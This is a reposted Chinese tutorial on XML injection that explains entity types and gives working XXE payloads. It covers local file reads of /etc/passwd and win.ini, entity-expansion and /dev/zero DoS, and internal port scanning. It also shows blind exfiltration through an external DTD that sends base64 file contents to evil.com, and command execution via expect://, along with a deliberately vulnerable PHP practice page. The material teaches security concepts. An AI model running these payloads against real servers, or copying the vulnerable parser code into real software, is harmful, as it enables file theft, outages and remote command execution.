XML注入介绍--XXE,XEE,xpath等
XML注入指在請求的XML中插入攻擊利用代碼。根據不同的場景,可能會形成以下的漏洞形式:
(1)XEE ----xml entity xpansion(xml實體膨脹,用于dos)
? ? ? ? ? 具體介紹:http://www.cnblogs.com/lcamry/p/5737318.html
(2)XXE-----xml external entity injection(xml外部實體注入,最為常見的方法)
? ? ? ? ? 具體介紹:下面內容以及http://www.waitalone.cn/xxe-attack.html
? ? ? ? ? ? ? ? ? ? ? ? ? ? ?blind XXE介紹?http://blog.csdn.net/u011721501/article/details/43775691
(3)soap注入
(4)xpath注入
? ? ? ? 具體介紹http://netsecurity.51cto.com/art/201401/427521.htm
XML實體攻擊已經是一個很老的技術了,這里僅對學習的過程做一個記錄。
<form method="POST" action="">
????<textarea name="keyword" value="" style="width: 500px; height: 300px"></textarea>
????<input type="submit" value="submit">
</form>
?
<?php
$keyword = $_POST['keyword'];
$xml_obj = simplexml_load_string($keyword);
var_dump($xml_obj);
上面這段代碼用于XXE實體攻擊的練習,你可以將其保存至你的環境下用于測試。(記得刪除 :P)
XML講解可以參考w3schools的教程-XML。
這里簡單說一下XML中的實體類型,大致有下面幾種:
- 字符實體
- 命名實體
- 外部實體
- 參數實體
除參數實體外,其它實體都以字符(&)開始,以字符(;)結束。常規實體有:'(')、&(&)、"(")、<(<)、>(>)。
字符實體類似html中的實體編碼,形如:a(十進制)或者a(十六進制)。
命名實體可以說成是變量聲明,命名實體只能聲明在DTD或者XML文件開始部分(<!DOCTYPE>語句中)。如下面代碼所示:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY x "First Param!">
<!ENTITY y "Second Param!">
]>
<root><x>&x;</x><y>&y;</y></root>
外部實體用于加載外部文件的內容。(XXE攻擊主要利用此實體)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPe root [
<!ENTITY outfile SYSTEM "outfile.xml">
]>
<root><outfile>&outfile;</outfile></root>
參數實體用于DTD和文檔的內部子集中。與一般實體相比它以字符(%)開始,以字符(;)結束。只有在DTD文件中才能在參數實體聲明的時候引用其他實體。(XXE攻擊常結合利用參數實體進行數據回顯)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "Hello">
<!ENTITY % param2 " ">
<!ENTITY % param3 "World">
<!ENTITY dtd SYSTEM "combine.dtd">
%dtd;
]>
<root><foo>&content</foo></root>
combine.dtd中的內容為:
<!ENTITY content "%param1;%param2;%param3;">
上面combine.dtd中定義了一個基本實體,引用了3個參數實體:
%param1;,%param2;,%param3;。
解析后<foo>...</foo>中的內容為Hello World。
XML實體攻擊主要利用了XML實體中的外部實體結合各種協議來讀取服務器上的數據,在DTD文件中的參數實體聲明時能夠引用其他參數實體的值,因此在XXE攻擊回顯遇到困難時會用到。
* 簡單文件讀取
因為可以進行外部實體加載,在XXE攻擊中常用來進行本地文件讀取。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY content SYSTEM "file://localhost/c:/windows/win.ini">
]>
<root><foo>&content;</foo></root>
在使用file://協議時,有以下幾種格式:
* Linux
file:///etc/passwd
?
* Windows
file:///c:/windows/win.ini
file://localhost/c:/windows/win.ini
(下面這兩種在某些瀏覽器里是支持的)
file:///c|windows/win.ini
file://localhost/c|windows/win.ini
除了使用file://協議進行文件讀取外,如果XML文檔是用PHP進行解析的,那么還可以使用php://filter協議來進行讀取。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY content SYSTEM "php://filter/resource=c:/windows/win.ini">
]>
<root><foo>&content;</foo></root>
* DoS攻擊
因為解析器會解析文檔中的所有實體,因此如果實體聲明層層嵌套的話,在一定數量上可以對服務器器造成DoS。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY x1 "CPU Consuming Task!">
<!ENTITY x2 "&x1;&x1;">
<!ENTITY x3 "&x2;&x2;&x2;">
...
<!ENTITY x100 "&x99;&x99;&x99;...">
]>
<root><foo>&x100;</foo></root>
嵌套實體聲明曾指數增長,可能造成對服務器的DoS。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY dos SYSTEM "/dev/zero">
]>
<root></root>
加載一個不穩定的文件描述也可能產生DoS。
* 端口掃描
加載外部DTD時有兩種加載方式,一種為私有private,第二種為公告public。
私有類型DTD加載:
<!ENTITY private_dtd SYSTEM "DTD_location">
公共類型DTD加載:
<!ENTITY public_dtd PUBLIC "DTD_name" "DTD_location">
在公共類型DTD加載的時候,首先會使用DTD_name來檢索,如果無法找到,則通過DTD_location來尋找此公共DTD。利用DTD_location,在一定的環境下可以用來做內網探測。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY portscan SYSTEM "http://localhost:3389">
]>
<root><foo>&portscan;</foo></root>
因解析器種類不同,所以針對XXE攻擊進行端口掃描需要一個合適的環境才能夠實現,例如:有明顯的連接錯誤信息。
* 利用DTD進行數據回顯
當利用XXE攻擊進行文件讀取時經常因為沒有回顯而顯得雞肋,這個時候就可以結合參數實體的特殊性,加載一個外部DTD來進行回顯。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/windows/win.ini">
<!ENTITY % dtd SYSTEM "http://192.168.1.100:8000/evil.dtd">
%dtd;
%send;
]>
<root></root>
其中evil.dtd的內容如下:
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://evil.com/?content=%file;'>">
%payload;
在DTD文件中聲明了參數實體payload,其值是一個實體參數聲明,因為是在DTD里面,所以可以引用上文的%file;參數實體,%file;參數實體為c:/windows/win.ini文本的內容。最后在原XML里引用DTD中的參數實體,此時就可以講本地文件讀取的內容通過HTTP發送出去(為了讓請求的URL有效,這里對使用了php://filter協議,并將內容使用base64進行了編碼)。
此方法針對數據不回顯的情況及其有用。
* 遠程命令執行
當然了,除了文件讀取和DoS外,某些情況下還能進行RCE。例如在PHP開啟了PECL上的Expect擴展時,就能使用expect://協議來執行命令。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY content SYSTEM "expect://dir .">
]>
<root><foo>&content;</foo></root>
利用XXE攻擊時需要結合實際環境才能發揮出其威力。:D
參考
- http://www.ibm.com/developerworks/cn/xml/x-entities/
- https://www.youtube.com/watch?v=eHSNT8vWLfc
- http://blogs.msdn.com/b/ie/archive/2006/12/06/file-uris-in-windows.aspx
- http://en.wikipedia.org/wiki/File_URI_scheme
轉載于:https://www.cnblogs.com/lcamry/p/5736998.html
總結
以上是生活随笔為你收集整理的XML注入介绍--XXE,XEE,xpath等的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Java中传值与传地址
- 下一篇: centos 6.5配置samba